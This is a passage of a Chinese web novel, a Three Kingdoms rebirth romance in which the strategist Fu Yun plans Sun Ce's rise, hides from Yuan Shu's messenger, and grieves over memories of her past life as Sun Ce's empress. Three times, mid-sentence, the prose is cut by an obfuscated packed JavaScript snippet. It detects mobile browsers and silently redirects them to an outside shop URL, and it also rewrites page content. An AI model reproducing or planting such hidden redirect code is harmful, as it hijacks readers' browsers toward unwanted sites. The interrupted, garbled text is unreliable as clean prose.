伏韫回望周瑜。烛火在夜中波映成圈,在他脸上投下斑驳的明暗,渡得他眉目愈发俊朗和雅。 “多谢。”她叹了口气,如释重负,却仍有心事沉沉,如系铅锤。 周瑜负手而立,沉默地护在她身后,良久后,缓缓踱步走近她:“此事,为何要告诉我?” 伏韫怔了片刻,才缓缓说出一个,连她亦不曾想到的理由:“因为……你是周瑜。” 周瑜眉宇微扬,言下交锋却更近一步:“那么……你心里的‘周瑜’,是什么样的。” 伏韫转身,眼神中先前的惊颤已悄然收敛,又恢复如常: “你我虽相识未久,但周郎英名,我早有耳闻。茶肆初见,我便知你擅谋能断,行事磊落,又有鸿鹄之志,经纬之才。你虽疑我,但从不妄断;你不信命,却始终清听。” 周瑜凝视她,从那张少女豆蔻年纪的面孔上,隐约看出不符年纪的深沉。既然她已拱手交出底牌,谦谦君子,自当礼尚往来。 “昭晦姑娘既坦诚相告,我亦如实禀明。我跟踪你,无外乎因你一介女子,却以谋臣身份接近兄长,我身为义弟,自然要调查你根底。如今知晓你是洞玄一门,许负弟子,便无怪乎你能推算长江潮汐,纵论局势,甚至……知我过往秘辛。” 伏韫闻言,只是低头一笑。只因她知道,此事还另有因由。 屋外风声倏起。树影斜斜,打在窗棂上,如数道欲出的刃影,朝伏韫要害逼探而来。 周瑜走到案前,抬手剪烛。火焰噗地一声摇曳,将熄未熄。 “但瑜有一问,你不惜身死也要下山入世涉机,可曾后悔?” “当然,不曾。” 伏韫闻言转身,几步逼近,直视他眼中未曾言明、却难掩喷薄的胸臆: “读史者,何人不感慨天下英雄如过江之鲫?又看过多少应运而生之人,终因谋早一寸、时晚一朝而折翼沉沙?观衡派自诩持中,其实不过纸上谈兵,迂腐至极。乱世之中,你我皆可为王,我只是想将某个最可能赢的人,推得离王座更近一点。这一点,你我皆如是。” 周瑜注视着她,良久未语。 灯火熄灭,夜色倏然将两人吞噬。他们都未再点灯。 黑暗中,他的声音再度响起,隐带寒意: “但,若你错了呢?若你扶错了人,或是断送天命优解,时局剧变,反酿成天下之祸……你,是否担得起?” 这一句如宿命叩问般沉重,万籁俱寂,天地如屏息,静待她回音。 缄默许久,她自语般喃喃: “若我错了……我便是下一场乱世的因果,历史的罪人。” 不见五指的黑夜,大象无形的命运,与她遥遥对弈于棋盘两侧。 她抬头,看向她的对手,如宣战一般: “但这一局,我不能,也绝不会错。” 4. 第四章 翌日清晨,檐角未满金光。孙策已在院中打完一套枪法,虎虎生风。 他气喘微粗,眼中却难掩炽亮。甫一瞥见伏韫与周瑜并肩走来,目光却突地定住。 “伏妹妹?”孙策皱眉,一脸懵然,“你怎么在这儿?” “说来话长。住所暴露,被仇人寻上门来,不得不躲。” 她语气淡然,却听得孙策勃然色变,怒气直冲脑门,一拍桌案,声震屋梁: “谁?谁敢欺负我伏妹妹?!你告诉我是谁,看我不削了他满门!” 周瑜斜倚在一旁,看着自家义兄一脸“天老大我老二”的架势,忍不住轻叹一口气,低声喃喃:“又来了。” 伏韫也忍俊不禁:“那就多谢兄长替我做主。” 孙策见她神色如常,想来应当并无大碍,便收枪上前,眉飞色舞: “伏妹妹!我琢磨了一晚,咱们今日就动手吧!我打算亲自进帐哭一哭爹,再顺势借兵——” “停。” 伏韫一声轻语,仿佛冰珠投油,院中热意瞬时一凝。 她不紧不慢地落座石桌前,自斟一盏温茶,抿了一口,才淡声道: “兄长昨夜,可曾安寝?” “安什么安!”孙策大笑,将枪随手倚墙,“我兴奋得一晚上睡不好!一闭眼就是你昨儿那番宏图大略,先是这样、再是那样,连梦里都在和袁公路肉搏,拳拳到肉,把那老匹夫打得嗷嗷乱叫!” 他说着又兴奋起来,挥拳对着空气比划几下,转头冲周瑜叫道:“你说说,我是不是浑身是劲!” 周瑜用帕子拭汗,摇头失笑:“兄长梦里挥拳,险些将我当贼人打。看来昭晦姑娘昨日之言,确实令兄长为之一振。” 伏韫却只静坐,未接话。 “伏妹妹,”孙策注意到她神情,不禁一顿,“你今天这副样子……莫不是打算泼我冷水?” “不是‘打算’,是现在就泼。”她轻放茶盏,指尖点了点桌面: “昨日所言,是全局之计。而在真正动手之前,我们手中需要的,不是热血,而是筹码。此刻你我空名无实,若贸然独立,只怕反骨易显,引袁术先手。如今若急着出击,只是自毁退路。” 孙策闻言,眉头顿时皱成一团,咕哝着坐下:“什么嘛……你这小神棍,昨日诓得我血脉贲张,一宿都没合眼,结果今天倒好,出尔反尔,说是还要再等……” “再等几年。”伏韫打断他,语气稳如磐石,“至少两年。” 孙策瞪大眼睛:“两——两年?!” “慢说两年,”伏韫抬眼,目光如镜,“可能三年都不止。” 孙策瞠目结舌:“你这不是养猪啊,你这是把我当坛酱腌着……” “我问你,”伏韫忽地换话题,“兄长今年贵庚?” 孙策一愣:“十九。” “才十九,你急个屁?” 这话冷不丁砸下,孙策登时僵住。连周瑜都轻咳一声,差点被茶呛到。 伏韫声音冷静:“时间,是弱者的敌人,是强者的盟友。你若把它当鞭子,它便抽你;若当它是酒,它便养你。你要谋的是江东,不是青楼赌坊。等不起,是你最大的短板。” 这一番话砸得孙策一时说不出话来。 周瑜看着她,语气转为正色:“昭晦姑娘所谓的‘等待’,是否已有安排?” 伏韫点头,取纸于案,落笔如飞,铺陈于桌: 寄主之名 借器养兵 以逆为势 “我唤它‘寄剑三章’。” “听起来很厉害。”孙策凑上前看,“说得具体些呢?” 伏韫依然又竖起一指: “第一章,寄主之名。用袁术的招牌,聚你父之长沙旧部。他们现在散在袁军之中,明面效忠,实则各自为营。你要做的,是调他们入一军,操练、结交、归心,让他们只听你一人之号。” “你这是明着养私兵?”周瑜蹙眉,“袁公路岂会不察?” “若你仍在寿春,他自然看得紧。”伏韫一笑,“但你若请缨外调,征战四方,他便鞭长莫及。回神之日,你早已羽翼成形。” 周瑜若有所思,轻声一叹:“借他之名,用他之缸,酿己之酒。” “第二章,借器养兵。”伏韫竖起第二指,“借战之名,啃硬骨头。你们要成为袁术军中最能打的一军,每一场胜仗都要打得轰轰烈烈,这样你们才能以战功逼他放权——逼他割地、添兵、放人。” 周瑜缓声接道:“此为‘以战换势’。” 伏韫颔首,眼中流露出欣喜神色。“周公子果然一点就透。” 她立下最后一指: “第三章,以逆为势。待你已得兵权、旧部、威望俱足,再出此前言及的‘玉玺之局’。那时袁术即使起疑,也已无力可制你。让你走,是赎命;不让你走,是惹祸上身。” 孙策眼神猛亮:“原来如此……我们不是要逃,是要让他‘求我们走’!” “你终于听明白一句了。”伏韫难得抿唇一笑。 孙策兴奋得抓耳挠腮,忽地跳起来: “可眼下干坐着也不是事啊!总不能天天在寿春闲逛吧?干脆我就听朱叔叔的话,主动请命,去援助我舅父击退刘繇——” “不行。”伏韫斩钉截铁地拒绝,“你现在寸功未立,却主动请缨去帮你自家人,狼子野心,昭然若揭,只会让袁术立刻对你警惕起来,打草惊蛇。” 孙策双手抱胸,束手无策:“伏妹妹,这也不行,那也不行,岂不是还得苦等着?” 伏韫失笑,目光望向庭外秋阳照落之处: “兄长莫急。这乱世之中最不缺的就是攻伐征战。你不去找战事,战事也会来找你。” 言谈正酣,最不设防之际,院外陡然传来一声中气十足的高喊: “中军令至!孙郎何在?!” 三人如遭雷殛,脸色骤变。 “不好!是袁术的亲兵!” 他们三人在此密会,一旦被撞破,就是结党营私的死罪! 周瑜眼神一凛,不及多想,赶忙披衣起身,示意二人进屋。 “躲起来!”孙策一把抓住伏韫的手腕,动作快如闪电。 他带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030629|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伏韫冲入房中,目光飞掠四周,锁定内室那面画有“猛虎下山”的屏风,下一息便三步并作两步,几乎是半推半抱地将她塞了进去。 “啊!——” 伏韫被孙策猝不及防一推,不禁吃痛一喊,旋即捂住自己的嘴巴。零星的声音飘入风中,旋即便细碎不可闻。 她还未回神,下一秒,孙策带着汗气与火意的胸膛,已严严实实将她锁进了暗影之中。 他用身体,将她整个笼罩。 这屏风之后的方寸天地,只余二人的呼吸,气息交织如合卺,近在咫尺。 那混合着烈日与铁锈的气息,如一把钥匙,猝不及防,打开了她记忆里那座早已上锁的、最危险的大门。 那是他的气息,是他独有的、却暌违已久的气息。 她失神时,孙策已觉察她的片刻失守,气息贴着她耳廓。低声耳语间,却藏不住他的戏谑与横冲直撞: “嘘——别出声。要是被撞破,你记得得说你是我通房丫头。” 伏韫尚未从气息迷宫的泥沼中脱身,闻此浮浪之辞,心头猛跳,愈是气恼交加,抬肘就要给他一记,却在发作之时便被他看破意图。 他手臂一紧,彻底将她圈在怀里。 她不知此举是否有意,一时动弹不得,抬眸看他,却见他眸子里澄澈无比,别无杂念,只能咬牙,用口型无声回了两个字: ——滚开。 庭院之内,周瑜已恢复了温润如玉的从容。 他迎向门口,微笑拱手道: “兄长方才正与我演练兵技,汗湿衣襟,不便见客。不知袁公有何吩咐?” 来者见是周瑜,也不敢失礼,抱拳道: “周公子客气,某不敢叨扰。袁公有令,如今攻打徐州战况吃紧,命孙校尉两日内启程,赶赴庐江郡舒城拜会陆太守。” 屏风后的孙策遥遥闻言,眉头一蹙,暗骂一声:“老匹夫,又让我当说客。” 周瑜轻轻一颔首,语调依旧温和如水: “得令,我兄即刻整装出发。” 孙策闻言,整齐襟袖,仿佛方更衣毕,大摇大摆走出屏风,又笑呵呵地与亲兵道了几句客气话。接过军令后,将那人送至院门,态度极其周全。 待门外彻底没了动静,孙策才转身冲进房门,冲着屏风的方向吹了声口哨,得意洋洋:“伏妹妹,安全了,出来吧。” 伏韫从屏风中走出,狠狠地瞪着他的背影,一壁整理自己被弄乱的衣襟。 孙策毫无自觉,兴冲冲回身,一拍周瑜肩膀:“瑜弟你听见了吗?袁公路又想让我去啃硬骨头!” 说罢转头看伏韫,笑得像一只刚从圈里跑出来的小豹子: “不过……小神棍,应该夸你灵验呢,还是说你乌鸦嘴呢?刚说完‘战事会来找我’,这不就应验了?” 伏韫看着他那副没心没肺的傻乐样子,不自觉冷哼一声,却难以压制心头的笑意,赶忙闭眼,脑中飞转如卷轴翻篇。 须臾后,她睁眼,语气沉稳: “原来如此。看来,我们的‘寄剑三章’,要提前进入第二阶段了。” 5. 第五章 十日后,夜色沉沉,周家城南宅第灯火未歇,院外忽然传来风火雷鸣般的脚步声,还未见人,声先至: “瑜弟!我回来了!快,拿酒来,渴死我了!” 话音未落,一人已如风卷残云般闯进正堂,猎猎劲装未除,长剑随手掷在案上。 孙策满面风尘,英气逼人的脸上写满了燥郁。他不待周瑜动作,一把抄起桌上伏韫手边的凉茶,仰头便是一阵牛饮,水渍顺着下巴滴落在衣襟上,显是这一路憋了一肚子的火气。 “哈——” 他长出一口气,重重放下茶盏,目光扫过正对坐弈棋的二人,一屁股在主位坐下,瘫软如泥: “累死我了……这陆康老儿,简直不可理喻!” 伏韫神色如常,只抬手递给他一方帕子:“看来,舒城之行,并不顺遂?” 此言一出,孙策原本瘫软的身子猛地弹起,脸色瞬间比进门时还难看三分。 “提这个就来气!”他愤然,“我孙策好歹也是袁公路派去的人,那老物竟让个主簿来见我?摆明了是不把我放在眼里!” 伏韫眸光微动:“哦?那你怎应?” “我?”孙策一愣,随即胸膛一挺,表情陡然变得一本正经,学着记忆中的腔调昂首道: “我对那主簿说:‘我孙策孙伯符乃破虏将军之子,今奉袁公路将军之命前来拜会陆太守,商议军国大事。太守如此怠慢,是看不起我父,还是看不起袁将军?!’” 话音落下,他自觉精彩,得意洋洋地扫了两人一眼,仿佛在等他们拍手叫好。 伏韫默默放下茶盏,叹了口气道:“……你这么说,他不当场把你轰出去才怪。” “什么?!”孙策睁大眼睛,难以置信,“此言掷地有声,何错之有?” 伏韫扶额:“来,周公子,你来说说他错在哪了。” 周瑜端着茶杯,一直作壁上观,被这突如其来的一点名,差点呛住。他咳了两声,抬头看了一眼孙策剑眉微挑的怒容,再看伏韫那揶揄勾唇的从容,进退维谷之间,只好苦笑,尽力斟酌措辞道: “兄长此言,意在震慑,出发点虽好……但锋芒稍显太盛。” 他顿了顿,小心翼翼继续道: “陆康乃汉室宿臣,素来以礼度人,最忌强逼。兄长以破虏将军之子为引,再以袁公压人,本就难得好感,再以此等质问之语——对他而言,不啻问罪,焉能不怒?” 孙策眉头皱得死紧,不耐烦一挥手道: “什么礼不礼的!他若真重礼,就该亲自出门迎我,而不是躲在后堂由个主簿来搪塞!” 他说着越发气恼,眼里都快冒火了。 “我看这老东西就是见我年少无兵,才敢小觑!” 他猛地站起,斗志昂扬,眼中隐隐跃动着火焰: “瑜弟,别再说了!明日你我便点兵五百,杀到舒城下,我倒要看看是他陆康的‘礼’硬,还是我孙策的枪更硬!” “站住。” 伏韫开口,带着不容置喙的气场,似无形之手,生生按住了孙策迈出的步伐。 他转身,眼底错愕之余,还有一抹恼羞的讥怒。 伏韫若无其事,只抬起茶盏,啜了一口:“你现在去,不仅打不赢,还会把我们三个人全都搭进去。” 孙策眉目一横,不服反问:“我兵强马壮,他陆康不过一介老臣,有何惧哉?” 伏韫似乎早有预料,眼中乍现一丝似笑非笑的狡黠,将茶盏轻轻一放,说出她在脑海中早已熨帖数次的台词: “既如此,不妨推演一场?我扮陆康,你扮你自己。至于‘局势’……便请周公子代为一演。” 二人面面相觑,虽不知伏韫葫芦里卖得什么药,却也颇觉新奇。 孙策率先入戏,一甩衣摆,站起身子,一脚踏在凳上,嗓门陡然拔高,颇有几分气吞山河的劲头: “我乃故长沙太守孙坚之子策!帐下精兵万千,铁骑已抵舒城下!陆康老儿,还不速速开门投降?再迟一步,便踏平你这狗窝!” 伏韫微一颔首,整个人如换了气质,竟学起老者模样,慢吞吞抚了抚并不存在的胡须,语气淡然,胸有成竹: “哦呵呵……孙校尉慎言,慎言呐。老夫乃朝廷亲命庐江太守,而你不过袁将军麾下一小卒。此番你无诏兴兵,是为擅权。老夫已修书上报朝廷与袁将军,特请他们评个是非。” 周瑜见二人已然入戏,莞尔一笑,只觉倒也是个敲打兄长的好时机,下一瞬,便敛去了玩笑神色,眼神沉静如水,声音沉稳,不带一丝感情: “报——袁将军有令,命孙将军即刻罢兵回营,听候发落。若抗命,按军法处置。” 孙策一愣,旋即怒发冲冠,拍案而起: “袁术算个什么东西!将在外君命有所不受!我孙策要打谁拦得住?” 周瑜神色不变,语调依旧平板: “报——庐江郡内,士族百家感念陆太守恩德,联名上书,称孙策为‘国贼’,誓与陆太守共存亡。城中守军,士气大振。” 孙策冷笑一声,势如破竹,大手一挥: “一群腐儒酸生,待我破城之后,连他们一并屠了!” 周瑜投下最后一击: “报——朝廷已下诏。封陆康为汉室忠良,举天下诸侯共讨反贼孙策。” 寂静如坠冰谷。 孙策怔在原地,原本鼓胀的气势如鼓破皮,呆呆立着,脸色青白交错,良久,猛然一跺脚,怒指周瑜: “瑜弟!你到底站哪边的?是不是故意在伏妹妹面前拆我台?!” 周瑜侧过头,看着孙策那副少年气性,终究只是无奈一笑,朝伏韫投去一个眼神,仿佛在说:“家兄鲁莽,让姑娘见笑了。” 伏韫低低一笑,仿佛早已料到,抬眸直视那个仍旧赌气扭头的小霸王: “所以现在,你明白自己为何会输了吗?” 孙策冷哼一声,硬是将头扭得更偏些:“不过是纸上谈兵。若真上了战场,我一杆枪就能挑翻他整个庐江!” “确实,决机于两阵之间,无人能及将军,“伏韫语气不疾不徐,“但将军可知,这天下,从来都不是只靠一杆枪就能打下来的。 她语气骤变,陡然锋锐起来:“你挑翻庐江的那一刻起便成了天下第一反贼。曹操、袁绍、刘表……所有的诸侯都会调转枪头,把你当成第一个要剿的出头鸟。你,守得住么?” 这一连串字句,像连珠炮弹一般,朝孙策劈头盖脸就是一盆冷水,让他顿时从从火头上被生生劈回冰底。 “那你说怎么办?”他猛地坐回石凳上,手指粗暴地耙着发,“难道就干看着?” “不是干看,这是推演。”伏韫终于起身,走到他面前。 她身形纤细,在孙策的面前格外娇小,却如一株山间青竹,轻盈挺立,不容撼动。 “你不是在跟周公子赌气,”她轻声道,像是在剖解一枚沉疴的瘤,“你是在跟你自己赌气——气自己除了‘杀’,想不出第二个字来。” 孙策愣住了。他一向不服他人看透自己,此刻却无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030630|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言以对,只能张了张嘴,却什么也没说出口。 伏韫忽然拍了拍手,语气一转,像是点将布兵,宣告新一局开始: “既然如此,我们换个玩法。周公子,还请继续做那最不讲情面的‘局势’。” 随后,她转向孙策,像是钦定:“兄长,你从现在开始,什么也不用做,只需做我最锋利的刀;而我,则来做替你这把刀‘讲道理’的人。” 孙策一愣,不明就里:“什么意思?” 伏韫却未答话,只看着周瑜,微微一笑:“周公子,请出第一招吧。——袁术的军令,到了。” 周瑜凝视她片刻,那笑意间的锋芒几乎让他眯起了眼。随后,他神色一敛,沉声道:“军令已至,若孙将军一意孤行,便是公然反叛,袁将军必将亲率大军,前来清剿。” 伏韫不急不缓,仿佛她才是那手握十万之兵的主帅: “很好,那就请他来。但在他动身前,我会先遣书一封,送往许都,递于曹孟德案前,就写‘袁术名为清剿,实为南下,虽然二人看似缠斗良久,实则早已与扬州刘繇结盟,意图南北汇合,共谋许都。’曹公素来多疑,不知信否?” 周瑜眸光微闪。 “至于庐江的士族,那更简单。我会告诉他们:孙校尉此行,名为讨逆,实为清君侧。陆季宁身为汉臣,却暗投袁术,是为乱臣贼子。凡开城降者,秋毫无犯,更可得陆家之田、之宅、之权。不知那一众早就心怀不满的二等士族,是愿意陪陆家翻船同沉,还是愿意大开城门?” 这一刻,连孙策也忘了插嘴。 伏韫依旧温声,不紧不慢:“至于朝廷那边的‘讨贼诏书’……天下诸侯,鹬蚌相争,渔翁得利。他们不会来讨贼,他们只会等着两败俱伤,再将残局地界,尽数蚕食鲸吞。” 她说完,房内已陷入一片死寂。 孙策怔了许久,才低声喃喃道:“原来……战争,也可以是这个样子的……” 周瑜亦久久不语,看着那个独自立于棋盘之前、以一人之智牵动千军万马的女子,眼中掠过一丝从未掩饰的赞叹。 几乎是一瞬间,孙策便将方才的窘迫抛诸脑后,眼中只剩下对伏韫那神鬼莫测之计的由衷折服,猛地一把揽过周瑜肩膀,语气中满是惊叹与畅快: “瑜弟!我算是服了!这脑子——比我那一千精兵还好使!” 他话锋一转,像是要为自己找补一般: “不行,今日非得让她见识见识,咱江东男儿,可不全是只会打打杀杀的莽夫!” 话音方落,孙策已扭身冲向角落那张蒙着锦布的案几,一把掀开锦布,动作利落得像是要上马擒敌一般,仿佛这红光一闪下,那架通体黝黑、纹理细腻的古琴,便是他的杀敌之利器,令贼见之胆寒。 孙策双手托起古琴,气势汹汹地往周瑜怀里一推,像是递刀上阵,语气怂恿: “来,瑜弟,给伏妹妹弹一曲!让她看看何谓‘顾曲周郎’!” 周瑜被这突如其来的一塞惊得一颤,生怕这宝贝粉身碎骨,手指下意识地稳住琴身,见孙策笑得混不吝,忍不住低声叹息,只觉自己像个和亲公主,一时哭笑不得: “兄长,怎么我每次都像被你当军功赏赐了?” 孙策眉梢一挑,露出一个“那又如何”的痞笑,对他的无可奈何颇是乐在其中。 周瑜终究没拂他这份兴致,只是抬眼,看向房间另一端。 伏韫目光落在琴上,一瞬间似是神色一凝,连笑意都轻轻敛去。 那架琴,她认得。 6. 第六章 周瑜目光停在伏韫脸上,见她眉头忽凝,只当她是因琴而起的好奇,温声道: “姑娘既通筹策,想来也谙音律?” 伏韫低眉笑笑,惶乱地掩饰心中骤起的巨浪:“只是略懂皮毛,不敢在公子面前称能。” 他朝她微笑,将琴置于案上,垂眸将手轻轻搭上弦面。 恍惚整个天地都静止下来,垂下名为命运的天罗地网,牵住他的指尖,与身旁少女的心弦。 “铮——” 一声清越的琴音刹那间穿透沉沉密室,将这片方才还充斥着兵谋气息的空间,化作空濛江月之夜。 伏韫的身体,在那一刻,轻微得几乎不可察地颤了一下。 她想起了很久以前——不,或许应该说,是很久以后,某个寒冷的冬夜。 建安二年,严白虎败,吴郡初定,江东各县士族纷纷归附孙策,百废初举。 那夜的酒宴设在州府后园,檐下灯火照如白昼,锦幛之间烛焰雀跃。她身上披着玄色狐裘,坐在席间观众人歌舞嬉笑,本以为像往常一样,等筵席散了,写一封照会朝廷、安抚乡绅的折子,一天也就过去了。 但孙策忽然站起身来,当众举杯,脚步微虚,却眼神如炬,直直望向她,嘴角扬着一贯不羁的笑:“今日之前,昭晦是我军中智囊;今日之后,她是我孙伯符的妻。” 那一刻,全场短暂寂静,瞬间迸发如惊雷。帐下文武彼此对视,众人脸上的错愕一闪而逝,随即而至的欢呼、掌声、迎合,如山呼海啸裹挟着她,把她推向大帐中心的宝座。 她与他隔着人山人海对望,时间暂停在此刻。他们眼中只有彼此,热烈而张扬的回望间,她轻轻点头,唇角是难得一抹羞涩的笑意。 夜宴散尽,她却并未回营,而是披裘独行于后园廊道中,本欲寻一处角落冷静,却在回廊尽头看见了周瑜。 他独坐于灯下,低头调弦,一盏孤灯,一架古琴,相对而坐。而那把琴,正是眼前这架。 周瑜听到脚步声近,抬眼望向她,眼底流出极浅的一丝笑意: “恭喜。为你弹一曲,料表贺意。” 琴声徐徐而起,初如泉涌,继若长河,忽入高山,群峰奔突,终归平野,辽阔无边。一生一瞬。 曲终,他沉默许久,才低声道: “此曲无名,大抵说的是‘高山流水,知音难觅’。” 那夜之后,他再也没碰过这把琴,也再也没有弹过这首曲子。 如今,这如珠玉般串联了前世今生的琴音,乍然清响耳畔,潺潺水声顿然转作铁马金戈,音势激烈,节奏疾响,令人胸臆澎湃激昂。 伏韫静静聆听,一动不动。 她以为自己再世为人,前尘往事皆是云烟,即使重来,也不会再有任何波澜。 可她错了。 当那段最诛心的、万古归尘的“流水”一段再次响起时,竟如尖针刺入心头,将她眼角逼落下一滴热泪。泪水坠在手背上,滚烫如火。如此真实,令她浑身一颤。 那命运的罗网分明在提醒她,一切,尚未开始。 她回来了。 那个弹琴的人也回来了。 他们,也都还活着。 她望着眼前重现的旧梦,仿佛穿越了宿命的缝隙。 难道这世界从未真正翻篇,而她,也未曾真的离场? 又一滴泪,悄无声息地坠落,砸在她手背上,碎成一朵无声的水花。 “……诶?” 孙策瞧见这景象,正挂着傻乐的脸瞬间僵住,整个人像被定在原地,手足无措地看着伏韫,又望向周瑜,语气里是罕见的惊慌: “瑜弟,你看你!上次把人气跑了,这次又把人弹哭了!” 琴音顿止。 周瑜猛然抬头,望向伏韫。 她依旧静坐原地,却已泪流满面,良久不发片语,整个人如被囚禁于无声无形的牢笼之中。 他心头一紧,缓缓起身,走到她面前柔声探询道: “此曲名为《双泉会》,写的是二泉相合,志趣相投,不肯分流,有‘高山流水,知音难觅’之意。” 他凝视着她的眼睛,低声问道: “昭晦姑娘,此曲并不悲伤,你……为何而哭?” 伏韫猛然回神。 她看着眼前这两张尚未经历风霜雨雪的年轻面孔,心中骤然浮现一种荒唐而辽阔的哀意。 她飞快拭去泪痕,努力扯出一个比哭还难看的笑容: “……没什么,只是从这曲子里,听出了‘盛筵难再,尘缘如梦’的味道,一时百感交集,怕我们三人,今日虽同席对弈,执弦共谋,却终有一日,会因缘各异,命途相背,分道扬镳,再也……回不到今日了。” 孙策一听,顿时急了,连连摆手,嘴里飞快地“呸呸呸”了几声: “伏妹妹,你这嘴灵验得很,可别说丧气话!我与瑜弟是过命的交情,如今又有了你,我们三人只会越来越好,怎么可能分道扬镳!你快呸呸呸,可不能让刚才的话应验了。” 他说着,看伏韫那副泫然落泪的模样,眼神也霎时软下来,连日常惯有的分寸也顾不得了,索性在她身旁坐下,笨拙地安慰: “伏妹妹,你放心,我孙策在此发誓,绝不会负你,我早就把你当作自家小妹看待了!” “小妹”二字,像一根细针,不偏不倚,扎进了她已被时间尘封多年的旧伤。 建安五年,官渡对峙正酣,天下皆观曹袁之争,而孙策却以雷霆之势北上,与许都宫廷里应外合,迎汉室归正。此后其势如风卷旌旗,既安江左,又定北疆,奠定中原之重枢,成一时之霸主。 直到汉室衰微,禅让孙策之后,凤辇入雒阳,她亦登御座。名义上,他们是少年夫妻,互相扶持,是天下人眼中最亲密的伴侣,但二人早已貌合神离。 景武元年冬,她怀了他们的第一个孩子。 她还记得,那段日子自己忽然变得温柔许多,他常宿在永乐宫中。夜晚的长谈中,他的眉眼被灯影温和地抚平,像无数平凡的父亲,为尚未出世的孩子哼唱他孩童时听过的歌谣。她也一度以为,他们终于回到了那个并肩策马、纵酒江东的少年时光。 可那孩子,终究没保住。 她身怀七月,永乐宫中突发火灾。为安宫人,她自披大氅,穿过烈火熊熊的阁廊,惊疲过度,晕厥过去。醒来时,已经躺在宫中,腹痛如巨石砸落,宫女一盆接一盆地换水,血色濡湿床单,宫内如杀生屠场般腥臭。 御医尽力,却终究无回天之力。孩子已经成了人形,刚落地便无声离世,连一声啼哭也不曾给她留下。 那晚,她独自守着那具尚带余温的婴体,坐了一整夜。 第二日朝会,她披素服,照常同孙策临朝,听百官奏事,全程未提半字私情。 他痛不欲生,见她眼角不落一滴泪,心如刀割,痛斥她身为生母,如此冷血,怎为国母。 自那之后,他们之间仿佛横亘一道无形的天堑深壑,更是在周瑜猝然离世后,走向无法挽回的离心离德。 他说她冷血,她便更加冷血,果断、深沉、擅于掌控。他座下朝臣,有半数暗中向她亲近。 他开始失眠,开始猜忌,开始设防。 有一回,他醉后失言,在朝堂之上,当众斥她“借皇后之名,行相权之实”。 她只淡淡看了他一眼,心里只有一种难以言说的,彻骨的悲哀。 再后来,他在宫中再难寻她的身影。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030631|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她虽仍居永乐宫,却终年闭门不出。他纵情声色,妃嫔满殿,却再无一人可与之推心置腹。 她一生,也未再唤过他一声“夫君”。 伏韫低下头,藏起那几乎无法承受的回忆,用尽全力,才将声音从喉间挤出,语气里带着轻颤: “……兄长的好意,我心领了。只是我……天生就对人心,颇为悲观。” 她顿了顿,深吸一口气,强自按下翻涌的情绪: “这些话,因为逆耳,我从不对旁人讲。只是今日,恰好听了那首琴,又……又听兄长推心置腹,说起这些,才一时没忍住。” 她的声音低下去了,低到几乎听不见。 孙策愣然,呆呆看着她,眼神里满是慌乱与心疼。 “瑜弟,人是你惹哭的,你说怎么办!” “不怪周公子,只是我多愁善感……想到这些无根无据的事,倒暗自伤感起来,令二位兄长为难,是昭晦的不是。” 伏韫抬手抹了抹眼角的泪,努力绽出一个笑容,对二人道:“时候不早,二位兄长也早去歇息。我独自一人静静就好。” “那……那你也早些休息,我和瑜弟就先走了。” 孙策语罢,半推半攮,几乎是把罪魁祸首撵出去,还不忘贴心地关上门。隔着重门,都能听到他又絮絮叨叨地对着周瑜说教起来。 跨过门槛时,周瑜回首,伏韫仍是将自己再次锁入那无形囚笼之中。 那双如深潭般沉静的眼平静无波,却以一道目光织就的罗网,悄然探向她的心,似乎从她的哀伤中,捕捉到了迷雾后若隐若现的痕迹。 *** 二人离去后,屋内一时寂静。 伏韫独坐,目光落在那扇绘着“猛虎下山”的折叠屏风上。 十数日前,也是在这个房间里,孙策为掩耳目,将她圈在怀里。 她忘不了他身上的气味,带着阳光、汗意与隐约的丹药清香,与孙策这个人一起,被烙印在她两世的人生里。 闭上双眸,那日茶肆初见,亦蓦然兜上她心头。她与孙策前世相识,是在他东渡后的秣陵之征。从相识相知到同床异梦,竟不过短短五年。 重来一世,她想更快、更早、更不留遗憾地挽回那段她无法割舍的青春旧梦,即便她与孙策相伴日久,嗔痴笑骂,悲欢尝遍,但那日再次看到他,看到比她初见他时更年轻的脸,她的理智依然无法自控地缺了一罅。 她心中默念,强迫自己回神:“绝不能再走回那条老路……绝不能。”可理智刚刚拉紧,那味道、那一抱、那张少年锋芒尽显、英气逼人的脸,却又一一浮现。 她心乱如麻,抬手狠狠掐了自己一下。 还未等情绪平复,窗外忽然传来熟悉的嗓音: “伏妹妹,你睡了吗?” 她一愣。 是孙策。 他放心不下,又折步而返。隔着纸窗,那声音没了平日的张扬,只剩下笨拙不安。 “我……我还是放心不下你。……你放心,我孙策绝不会背弃你,有违此誓,天人共戮!” 伏韫猛地拉开窗扇。 夜风扑面。窗外那张剑眉修目、却又带着满脸真诚的脸庞,果然就近在咫尺。 